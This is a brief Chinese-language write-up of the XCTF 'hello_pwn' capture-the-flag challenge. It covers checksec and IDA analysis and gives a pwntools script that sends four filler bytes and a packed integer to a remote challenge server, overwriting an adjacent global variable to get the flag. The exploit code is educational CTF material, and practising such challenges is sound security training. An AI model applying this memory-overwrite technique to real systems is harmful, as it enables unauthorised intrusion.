题目来源xctf(hello_pwn)
拿到题目看两遍啥都不知道,放到虚拟机里checksec一下
64bit,发现只启用了 NX(No eXecute,数据不可执行)保护机制,因此可以拿来 做栈溢出攻击。
放到ida里,按F5看看伪c
双击 dword_60106C == 1853186401,,,这里unk和dword差四位,以此构造exp
from pwn import *
#context.log_level = 'debug'
r = remote('111.198.29.45', 42136) #题目每次打开的端口不唯一
payload = 'A' * 4 + p64(1853186401)
r.recvuntil("lets get helloworld for bof\n")
r.sendline(payload)
print r.recv()
运行exp 得到flag
总结;exp+1,san-100